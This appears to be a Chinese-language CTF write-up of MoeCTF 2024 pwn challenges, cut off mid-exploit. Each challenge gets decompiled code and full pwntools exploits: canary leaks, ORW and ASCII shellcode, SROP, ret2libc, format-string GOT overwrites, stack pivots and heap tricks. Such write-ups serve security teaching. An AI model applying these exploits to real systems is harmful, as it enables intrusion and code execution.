r.recvuntil("Welcome, abcd") r.send(p64(4)+"\x00"*8) r.interactive()Catch_the_canary!题目分为三个部分，第一部分为爆破0x2345以内的随机数。 v12 = __readfsqword(0x28u); v3 = arc4random(argc, argv, envp); v4 = v3 - 0xFEFFFFFFFFFFFFLL * ((__int64)((0x4040404040404081LL * (unsigned __int128)v3) >> 64) >> 54); v9[0] = v4 + 0x1000000000000LL; v9[1] = 0x7FFFFFFDDAB0LL; v10 = 182271573LL; v8 = (unsigned int)arc4random(argc, 0LL, v4) % 0x2345 + 16768186; init(); write(1, "Here, my canary, with a cage.\n", 0x1EuLL); write(1, "[Info] Password required.\n", 0x1AuLL); while ( (unsigned int)__isoc99_scanf("%u", &v6) == -1 || v8 != v6 ) write(1, "[Error] Wrong! Try again.\n", 0x1AuLL);对应脚本r.recvuntil('required.') for i in range(0x2345): r.sendline(str(0xffdcba+i)) s = r.recv() if "Info" in s: cana = i print(hex(i)) print(s) break第二部分为利用scanf()函数不破坏第一个数的情况下破坏第三个数，scanf("%u")在接收加减运算符的情况下会写入失败并不破坏原有数据。 cage_bak = v9[0]; for ( i = 0; i <= 2; ++i ) { __isoc99_scanf("%zu", &v9[i]); if ( !v9[i] ) break; } if ( v10 != 195874819 ) { write(1, "[FATAL] Canary under attack. Shutting down...\n", 0x2EuLL); _exit(1); } if ( v9[0] != cage_bak ) { write(1, "[FATAL] Hacker!\n", 0x10uLL); _exit(1); }对应脚本r.sendline("-") r.sendline('1') r.sendline(str(0xbacd003))第三部分为破坏canary并泄露，二次溢出修复canary并跳转到后门函数上。 write(1, "What?! How did you do that?\n", 0x1CuLL); write(1, "Stop it!\n", 9uLL); read(0, buf, 0x30uLL); puts(buf); read(0, buf, 0x30uLL);对应脚本r.send("a"*0x18+"b") r.recvuntil("aaab") canary = u64("\x00"+r.recv(7)) log.success("canary:"+hex(canary)) r.send("a"*0x18+p64(canary)+p64(0xdeadbeef)+p64(0x4012B0))最终exp#!/usr/bin/env python # coding=utf-8 from pwn import * import tty context.arch = 'amd64' local = 1 if local == 1: r=process('./mycanary') gdb.attach(r,"b * 0x04014F5") #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) #libc = ELF('./libc-2.31.so') elf = ELF('./mycanary') r.recvuntil('required.') for i in range(0x2345): r.sendline(str(0xffdcba+i)) s = r.recv() if "Info" in s: cana = i print(hex(i)) print(s) break r.sendline("-") r.sendline('1') r.sendline(str(0xbacd003)) r.recvuntil("it!\n") r.send("a"*0x18+"b") r.recvuntil("aaab") canary = u64("\x00"+r.recv(7)) log.success("canary:"+hex(canary)) r.send("a"*0x18+p64(canary)+p64(0xdeadbeef)+p64(0x4012B0)) r.interactive()shellcode_revenge题目有shellcode可执行区域，执行条件为level位有东西，shellcode长度为0xd。unsigned __int64 operate() { unsigned __int64 v1; // [rsp+118h] [rbp-8h] v1 = __readfsqword(0x28u); if ( level ) { mmap((void *)0x20240000, 0x1000uLL, 7, 50, -1, 0LL); puts("Good luck."); read(0, (void *)0x20240000, 0xDuLL); MEMORY[0x20240000](); puts("Succeed."); } else { puts("Sorry, you don't have enough permissions."); } return v1 - __readfsqword(0x28u); }程序usr_log()存在数组越界。unsigned __int64 usr_log() { int v1; // [rsp+0h] [rbp-10h] BYREF char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Your id?"); __isoc99_scanf("%d", &v1); puts("Your name ?"); read(0, buf, 4uLL); if ( !strncmp(buf, &name[4 * v1], 4uLL) ) printf("Welcome, %4s", &name[4 * v1]); else puts("Check your user name and id."); return v3 - __readfsqword(0x28u); }程序禁用了execve()__int64 setup_seccomp() { __int64 v1; // [rsp+8h] [rbp-8h] v1 = seccomp_init(2147418112LL); seccomp_rule_add(v1, 0LL, 59LL, 0LL); return seccomp_load(v1); }exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * import tty context.arch = 'amd64' local = 0 if local == 1: r=process('./shellcode_revenge') gdb.attach(r,"b * $rebase(0x0177E)") #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) #libc = ELF('./libc-2.31.so') elf = ELF('./shellcode_revenge') sleep(1) r.recvuntil(">>>") r.sendline("3") r.recvuntil("255") r.sendline("-8") r.recvuntil("name ?") r.sendline("aaaa") r.recvuntil(">>>") r.sendline("4") r.recvuntil("luck.") shellcode = asm("syscall;")+"\x90"*0xb r.send(shellcode) sleep(1) shellcode = asm("nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;xor rax,rax;xor r10,r10;push r10;mov r10,0x67616C66;push r10;mov r11,rsp;") shellcode += asm("sub rsp,0x100;mov rax,2;mov rdi,r11;xor rsi,rsi;mov rdx,rsi;syscall;") shellcode += asm("mov rdi,rax;mov rsi,rsp;mov rdx,0x80;xor rax,rax;syscall;") shellcode += asm("mov rdi,1;mov rax,rdi;syscall") r.sendline(shellcode) r.interactive()Pwn_it_off!题目有两个关卡，关卡一unsigned __int64 voice_pwd() { char s2[16]; // [rsp+0h] [rbp-30h] BYREF char v2[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); write(1, "[Error] Voice password not initialized!\n", 0x28uLL); write(1, "[Warn] Using auto generated password.\n", 0x26uLL); write(1, "[Info] Speak out the voice password.\n", 0x25uLL); s2[15] = 0; len = read(0, v2, 23uLL); if ( len <= 0 ) { write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL); _exit(1); } v2[len] = 0; if ( strcmp(v2, s2) ) { write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL); _exit(1); } write(1, "[Info] Voice password correct.\n", 0x1FuLL); return v3 - __readfsqword(0x28u); }该题的密码为上一个函数在栈内残存的数据，为上一个函数输出的最后一条beep的第29位开始往后数15个。for i in range(3): tmp = r.recvuntil("\n") if "Error" in tmp: break beep = tmp log.info("getbeep:"+beep) beep1 = beep[28:28+15] log.info("beep1:"+beep1) r.send(beep1+'\x00\x67\x2b\x00\x00\x00\x00') #清空栈内其他乱七八糟的内存，为下一题做准备关卡二unsigned __int64 num_pwd() { __int64 v1[2]; // [rsp+8h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); write(1, "[Error] Numeric password not initialized!\n", 0x2AuLL); write(1, "[Warn] Using auto generated password.\n", 0x26uLL); write(1, "[Info] Input the numeric password.\n", 0x23uLL); __isoc99_scanf("%zu", v1); if ( v1[0] > 0x1869FuLL || v1[0] <= 0x270FuLL || v1[1] != v1[0] ) { write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL); _exit(1); } write(1, "[Info] Numeric password correct.\n", 0x21uLL); return v2 - __readfsqword(0x28u); }对应脚本。r.recvuntil("numeric password.") r.sendline(str(0x2b67))最终exp为#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./alarm') gdb.attach(r,"b * $rebase(0x01722)") else: r = remote('192.168.248.1',1212) elf = ELF('./alarm') for i in range(3): tmp = r.recvuntil("\n") if "Error" in tmp: break beep = tmp log.info("getbeep:"+beep) beep1 = beep[28:28+15] log.info("beep1:"+beep1) r.send(beep1+'\x00\x67\x2b\x00\x00\x00\x00') r.recvuntil("numeric password.") r.sendline(str(0x2b67)) r.interactive()return 15srop，main()函数暴力栈溢出，直接利用what()函数的return 15构造srop。int __fastcall main(int argc, const char **argv, const char **envp) { char v4[32]; // [rsp+0h] [rbp-20h] BYREF sysread(0LL, v4, 512LL); return 0; }exp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./return15') gdb.attach(r,"b * 0x401149") else: r = remote('192.168.248.1',1212) elf = ELF('./return15') frameExecve = SigreturnFrame() frameExecve.rax = 0x3b frameExecve.rdi = 0x402008 frameExecve.rip = 0x40111C r.sendline(cyclic(32)+p64(0xdeadbeef)+p64(elf.symbols['what'])+p64(0x40111C)+str(frameExecve)) r.interactive()VisibleInput题目禁用了execve，且shellcode为可视化字符。unsigned __int64 pwn() { int i; // [rsp+0h] [rbp-220h] int v2; // [rsp+4h] [rbp-21Ch] char buf[520]; // [rsp+10h] [rbp-210h] BYREF unsigned __int64 v4; // [rsp+218h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = read(0, buf, 0x200uLL); for ( i = 0; i < v2; ++i ) { if ( buf[i] <= 31 || buf[i] == 127 ) { puts("What are you doing?"); exit(1); } } strncpy((char *)0x20240000, buf, 0x200uLL); MEMORY[0x20240000](); return v4 - __readfsqword(0x28u); }先构造ascii shellcode构造sys_read。shellcode = "\x52" #push rdx shellcode += "\x5E" #pop rsi shellcode += "\x68\x6f\x65\x60\x60" #push 656f6f65 shellcode += "\x41\x5c" #pop r12 shellcode += "\x50" #push rax shellcode += "\x5f" #pop rdi shellcode += "\x6a\x60" #push 60 shellcode += "\x41\x5a" #pop r10 shellcode += "\x68\x70\x30\x24\x20" #push 20243070 shellcode += "\x58" #pop rax shellcode += "\x66\x2d\x50\x30" #sub ax 3040 shellcode += "\x50" #push rax shellcode += "\x5A" #pop rdx shellcode += "\x4c\x31\x22" #xor [rdx],r12 shellcode += "\x57" #push rdi shellcode += "\x58" #pop rax shellcode += "\x60\x60\x60\x60" #被异或掉构造syscall再构造orw获取flag，exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./VisibleInput') #gdb.attach(r,"b * 0x20240024") gdb.attach(r,"b * $rebase(0x1361)") else: r = remote('192.168.248.1',1212) elf = ELF('./VisibleInput') sleep(1) shellcode = "\x52" #push rdx shellcode += "\x5E" #pop rsi shellcode += "\x68\x6f\x65\x60\x60" #push 656f6f65 shellcode += "\x41\x5c" #pop r12 shellcode += "\x50" #push rax shellcode += "\x5f" #pop rdi shellcode += "\x6a\x60" #push 60 shellcode += "\x41\x5a" #pop r10 shellcode += "\x68\x70\x30\x24\x20" #push 20243070 shellcode += "\x58" #pop rax shellcode += "\x66\x2d\x50\x30" #sub ax 3040 shellcode += "\x50" #push rax shellcode += "\x5A" #pop rdx shellcode += "\x4c\x31\x22" #xor [rdx],r12 shellcode += "\x57" #push rdi shellcode += "\x58" #pop rax shellcode += "\x60\x60\x60\x60" r.send(shellcode) sleep(5) shellcode = asm("nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;xor rax,rax;xor r10,r10;push r10;mov r10,0x67616C66;push r10;mov r11,rsp;") shellcode += asm("sub rsp,0x100;mov rax,2;mov rdi,r11;xor rsi,rsi;mov rdx,rsi;syscall;") shellcode += asm("mov rdi,rax;mov rsi,rsp;mov rdx,0x80;xor rax,rax;syscall;") shellcode += asm("mov rdi,1;mov rax,rdi;syscall") r.sendline(shellcode) r.interactive()System_not_found!题目有两次溢出，第一次溢出覆盖第二次的输入数量，第二次溢出泄漏libc地址，题目没有pop rdi;ret;,结束时rdi为funlockfile指针直接puts出来泄漏基址。int __fastcall main(int argc, const char **argv, const char **envp) { char buf[16]; // [rsp+0h] [rbp-40h] BYREF size_t nbytes; // [rsp+10h] [rbp-30h] char v6[36]; // [rsp+18h] [rbp-28h] BYREF int v7; // [rsp+3Ch] [rbp-4h] init(argc, argv, envp); nbytes = 31LL; printf("What's your name?\n> "); v7 = read(0, buf, 0x17uLL); if ( v7 <= 0 ) { puts("Can you hear me?"); _exit(1); } buf[v7 - 1] = 0; printf("Hello %s, nice to meet you. Where do you come from?\n> ", buf); v7 = read(0, v6, nbytes); if ( v7 <= 0 ) { puts("Can you hear me?"); _exit(1); } v6[v7 - 1] = 0; printf("%s... That's a beautiful place.\n", v6); return 0; }exp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./dialogue') gdb.attach(r,"b * 0x04012de") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') elf = ELF('./dialogue') r.sendline('a'*18) r.recvuntil("from?") r.sendline(cyclic(40)+p64(0xdeadbeef)+p64(0x401040)+p64(0x4011e1)) r.recvuntil(" place.\n") funlockfile = u64(r.recv(6)+"\x00\x00") log.success("funlockfile:"+hex(funlockfile)) libc_addr = funlockfile -libc.symbols['funlockfile'] log.success("libc_addr:"+hex(libc_addr)) r.sendline('a'*18) r.recvuntil("from?") r.sendline(cyclic(40)+p64(0)+p64(0x40101a)+p64(libc_addr+0x2a3e5)+p64(libc_addr+libc.search("/bin/sh").next())+p64(libc_addr+libc.symbols["system"])) r.interactive()Read_once_twice!题目两次溢出，第一次泄漏canary，第二次溢出跳到后门，由于开启了pie，需要爆破。unsigned __int64 vuln() { char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); write(1, "What can you do when almost all protections are turned on?\n", 0x3BuLL); read(0, buf, 0x30uLL); puts(buf); write(1, "If I give you one more chance...\n", 0x21uLL); read(0, buf, 0x30uLL); return v2 - __readfsqword(0x28u); }exp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./twice') gdb.attach(r,"b * $rebase(0x012c4)") else: r = remote('192.168.248.1',1212) elf = ELF('./twice') r.recvuntil("ed on?\n") r.send('a'*24+'b') r.recvuntil("aaab") canary = u64('\x00'+r.recv(7)) log.success("canary:"+hex(canary)) stack = u64(r.recv(6)+'\x00\x00') r.send('a'*24+p64(canary)+p64(stack)+"\xad\x11") r.interactive()Where is fmt?格式化字符串漏洞，但是字符串不在栈内，需要微操栈内二级指针去对栈内内容进行修改。int vuln() { int result; // eax int i; // [rsp+Ch] [rbp-4h] puts("Welcome to MoeCTF 2024!"); result = puts("You will have 3 chances to exploit... But where is my fmt?"); for ( i = 3; i > 0; --i ) { printf("\nYou have %d chances.\n", (unsigned int)i); read(0, buf, 0x100uLL); result = printf(buf); } return result; }只有三次格式化字符串漏洞利用机会，此题我没看到后门，硬从栈内撕了一个符合条件的one_gadgetgetshell。exp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./WhereIsFmt') #gdb.attach(r,"b * 0x4012BF") gdb.attach(r,"b * 0x40128b") else: r = remote('192.168.248.1',1212) elf = ELF('./WhereIsFmt') r.send("%8$p%11$p") r.recvuntil("ces.\n") stack = int(r.recv(14),16) libc = int(r.recv(14),16) log.success("stack:"+hex(stack)) log.success("libc:"+hex(libc)) libc_addr = libc - 0x29d90 target = (stack - 0x14) % 0x10000 r.recvuntil(" chances.") r.send("%"+str(target)+"c%15$hn") r.recvuntil(" chances.") r.send("9999999%45$hn") # 修改次数，获取更多机会，正常在这里直接将返回地址改为后门即可getshell ogg = libc_addr + 0xebc85 ogg1 = ogg % 0x10000 ogg2 = (ogg >> 16) % 0x100 r.recvuntil(" chances.") target += 28 r.send("%"+str(target)+"c%15$hn") r.recvuntil(" chances.") r.send("%"+str(ogg1)+"c%45$hn") r.recvuntil(" chances.") target = (target + 2) % 0x100 r.send("%"+str(target)+"c%15$hhn") r.recvuntil(" chances.") r.send("%"+str(ogg2)+"c%45$hhn") #r.recvuntil(" chances.") log.info("ogg2:"+hex(ogg2)) log.success("ogg:"+hex(ogg)) target = target -9 r.send("%"+str(target)+"c%15$hhn") r.recvuntil(" chances.") r.send("%"+str(0x4041)+"c%45$hn") r.interactive()Got it!vuln()函数存在数组越界。unsigned __int64 calc() { int v1; // [rsp+8h] [rbp-18h] BYREF int v2; // [rsp+Ch] [rbp-14h] BYREF __int64 v3; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("Which archive do you want to use?"); __isoc99_scanf("%u", &v1); //漏洞点 now_save = &saves[8 * v1]; menu_calu(); while ( 1 ) { printf("> "); __isoc99_scanf("%d", &v2); if ( v2 == 5 ) return v4 - __readfsqword(0x28u); printf("Operand: "); __isoc99_scanf("%ld", &v3); if ( v2 == 4 ) { *now_save /= v3; } else { if ( v2 > 4 ) goto LABEL_13; switch ( v2 ) { case 3: *now_save *= v3; break; case 1: *now_save += v3; break; case 2: *now_save -= v3; break; default: LABEL_13: puts("Invalid choice."); break; } } } }先将/bin/sh字符串写入到saves处。r.recvuntil("Exit\n") r.sendline('1') r.recvuntil("use?\n") r.sendline('0') r.recvuntil("> ") r.sendline('1') r.recvuntil("Operand: ") r.sendline(str(u64("/bin/sh\x00"))) r.recvuntil("> ") r.sendline('5')再通过数组越界将now_save的地址写入到now_save中构造重合指针构造任意地址可修改，将now_save内的地址修改为puts_got。再将puts_got内的puts绝对地址改为system的绝对地址，退出构造成system("/bin"sh")exp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./GotIt') gdb.attach(r,"b * $rebase(0x013A7)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') elf = ELF('./GotIt') r.recvuntil("Exit\n") r.sendline('1') r.recvuntil("use?\n") r.sendline('0') r.recvuntil("> ") r.sendline('1') r.recvuntil("Operand: ") r.sendline(str(u64("/bin/sh\x00"))) r.recvuntil("> ") r.sendline('5') r.recvuntil("Exit\n") r.sendline('1') r.recvuntil("use?\n") r.sendline('16') r.recvuntil("> ") r.sendline('2') r.recvuntil("Operand: ") r.sendline(str(0x100)) r.recvuntil("> ") r.sendline('2') r.recvuntil("Operand: ") r.sendline(str(0x300e0)) r.recvuntil("> ") r.sendline('5') r.recvuntil("Welcome") r.sendline('3') r.interactive()栈的奇妙之旅vuln()函数存在栈溢出，只能溢出一个字符。溢出三次，第一次溢出修改rbp的值，第二次溢出向bss段写入内容并栈迁移泄漏libc，第三次溢出执行system("/bin/sh")。ssize_t vuln() { char buf[128]; // [rsp+0h] [rbp-80h] BYREF puts("16 bytes can you kill me?"); return read(0, buf, 0x90uLL); }exp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./TravelOfStack') gdb.attach(r,"b * 0x4011FC") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') elf = ELF('./TravelOfStack') rdi = 0x4011c5 r.recvuntil("me?") r.send('a'*128+p64(0x404200)+p64(0x4011D6)) r.recvuntil("me?\n") r.send(p64(0x404900)+p64(rdi)+p64(elf.got['puts'])+p64(0x401060)+p64(0x4011D6)+cyclic(128-0x28)+p64(0x404180)+p64(0x4011FC)) puts = u64(r.recv(6)+"\x00\x00") log.success("puts:"+hex(puts)) libc_addr = puts - libc.symbols["puts"] system = libc_addr + libc.symbols["system"] binsh = libc_addr + libc.search("/bin/sh").next() r.send(p64(0x404300)+p64(0x40101a)+p64(rdi)+p64(binsh)+p64(system)+p64(0x4011D6)+cyclic(128-0x30)+p64(0x404880)+p64(0x4011FC)) r.interactive()One Chance!vuln()函数存在格式化字符串漏洞，给了栈地址，只有一次机会，格式化字符串的位置不在栈内。unsigned __int64 vuln() { __int64 v1; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = 0LL; printf("gift: %p\n", &v1); puts("You will have only one chance!"); read(0, buf, 0x100uLL); printf(buf); return v2 - __readfsqword(0x28u); }没有一点思路，直到看到一篇大佬的文章https://zikh26.github.io/posts/a523e26a.html。大致原理为，如果你不用$指定格式化字符串的参数，而是用%依次调用后面的参数，printf()函数也会依次处理每个格式化字符而不是一起全部处理掉。这样就有机会利用栈内的栈二级指针伪造出指向函数返回地址的指针。exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./OneChance') gdb.attach(r,"b * $rebase(0x12A1)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') elf = ELF('./OneChance') r.recvuntil("gift: ") stack = int(r.recv(14),16) log.success("stack:"+hex(stack)) target = (stack) % 0x10000 r.send("%p"*13+"%"+str(target-138+0x18)+"c%hn%"+str(0x108-(target % 0x100)-24)+"c%45$hhn") #r.send("%20$p") r.interactive()Goldenwingpractice()函数存在数值溢出。unsigned __int64 practice() { int v1; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Here you can be stronger"); if ( flag ) { puts("You are strong enough..."); } else { v1 = 0; v2 = 0; puts("How much hp you want to grow?"); __isoc99_scanf("%d", &v1); puts("How much power you want to grow?"); __isoc99_scanf("%d", &v2); if ( v1 <= 100 && v2 <= 10 ) { Player += v1; dword_404084 += v2; flag = 1; puts("Done!"); } else { puts("That's too much..."); } } return v3 - __readfsqword(0x28u); }success()存在格式化字符串漏洞，可利用两次。int success() { int result; // eax int i; // [rsp+Ch] [rbp-4h] puts("You win!"); result = puts("You get two magic from Goldenwing, how will you use them?"); for ( i = 0; i <= 1; ++i ) { memset(magic, 0, sizeof(magic)); read(0, magic, 0x100uLL); printf("magic%d: ", (i + 1)); printf(magic); result = putchar(10); } return result; }god()可以向栈内写入指针供格式化字符串漏洞使用。ssize_t __fastcall god(void *a1) { puts("You found 0xcafebabe, and he gave you a secret book."); puts("Maybe you can write some secret code here?"); return read(0, a1, 0x20uLL); }exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./goldenwing') gdb.attach(r,"b * 0x04015F4") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') elf = ELF('./goldenwing') r.sendline("") r.recvuntil("Choice> ") r.sendline(str(0xCAFEBABE)) r.recvuntil("here?") r.send(p64(elf.got["putchar"])+p64(elf.got["sleep"])+p64(elf.got["putchar"]+2)) r.recvuntil("Choice> ") r.sendline("2") r.recvuntil("grow?") r.sendline("-10000") r.recvuntil("grow?") r.sendline("-10000") r.recvuntil("Choice> ") r.sendline("3") r.recvuntil("hem?") r.sendline("%17$s") r.recvuntil("magic1: ") sleep = u64(r.recv(6)+"\x00\x00") log.success("sleep:"+hex(sleep)) libc_addr = sleep - libc.symbols["sleep"] ogg = libc_addr + 0xebc85 ogg0 = ogg % 0x10000 ogg1 = (ogg >> 16) % 0x100 log.info("ogg:"+hex(ogg)) r.sendline("%"+str(ogg1)+"c%18$hhn%"+str(ogg0-ogg1)+"c%16$hn") r.interactive()luosh题目说没有堆利用，但是我感觉不利用做不上。parse()函数存在溢出漏洞，可溢出覆盖inode_list内的指针，配合cat()函数可实现任意地址读，配合echo()函数可实现libc以下的任意地址写。__int64 __fastcall parse(char *a1) { int v2; // eax unsigned int v3; // [rsp+10h] [rbp-10h] int i; // [rsp+14h] [rbp-Ch] const char *s2; // [rsp+18h] [rbp-8h] const char *s2a; // [rsp+18h] [rbp-8h] s2 = strtok(a1, " "); v3 = -1; for ( i = 0; i <= 5; ++i ) { if ( !strcmp((&command_list)[3 * i], s2) ) { v3 = i; break; } } if ( v3 == -1 ) { printf("No such command %s.\n", s2); return 0xFFFFFFFFLL; } else { nargs = 0; while ( 1 ) { s2a = strtok(0LL, " "); if ( !s2a ) break; if ( strlen(s2a) > 0x1F ) { puts("Args too long."); return 0xFFFFFFFFLL; } v2 = nargs++; strcpy(&arg_list[32 * v2], s2a); //这里有溢出漏洞 } if ( nargs <= 10 ) { return v3; } else { puts("Too many args."); return 0xFFFFFFFFLL; } } }先释放几个tcache获取堆地址s("touch aaa") s("echo bbbbbbbb > aaa ") s("touch bbbbbbbb\x91") s("echo bbbbbbbb > bbbbbbbb\x91 ") s("touch ccc") s("touch dddddddddddddddddddddddd\x11") s("echo bbbbbbbb > ccc ") s("touch a") s("echo bbbbbbbb > a") s("touch b") s("echo bbbbbbbb > b") s("touch c") s("echo bbbbbbbb > c") s("touch d") s("echo bbbbbbbb > d") s("rm a") s("rm b") s("rm c") s("rm d") s("echo bbbbbbbb > dddddddddddddddddddddddd\x11 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a \x01 ") s("echo bbbbbbbb > bbbbbbbb\x91 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01 ") s("rm ccc") s("cat bbbbbbbb\x91") heap = u64(r.recv(5)+"\x00\x00\x00") << 12 log.info("heap:"+hex(heap))向堆地址内构造fake_large_chunk释放，获取libc地址。s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x2a0)) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xb0)) s("echo aaaaaaaa\x21\x04 > aaa\x00") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" 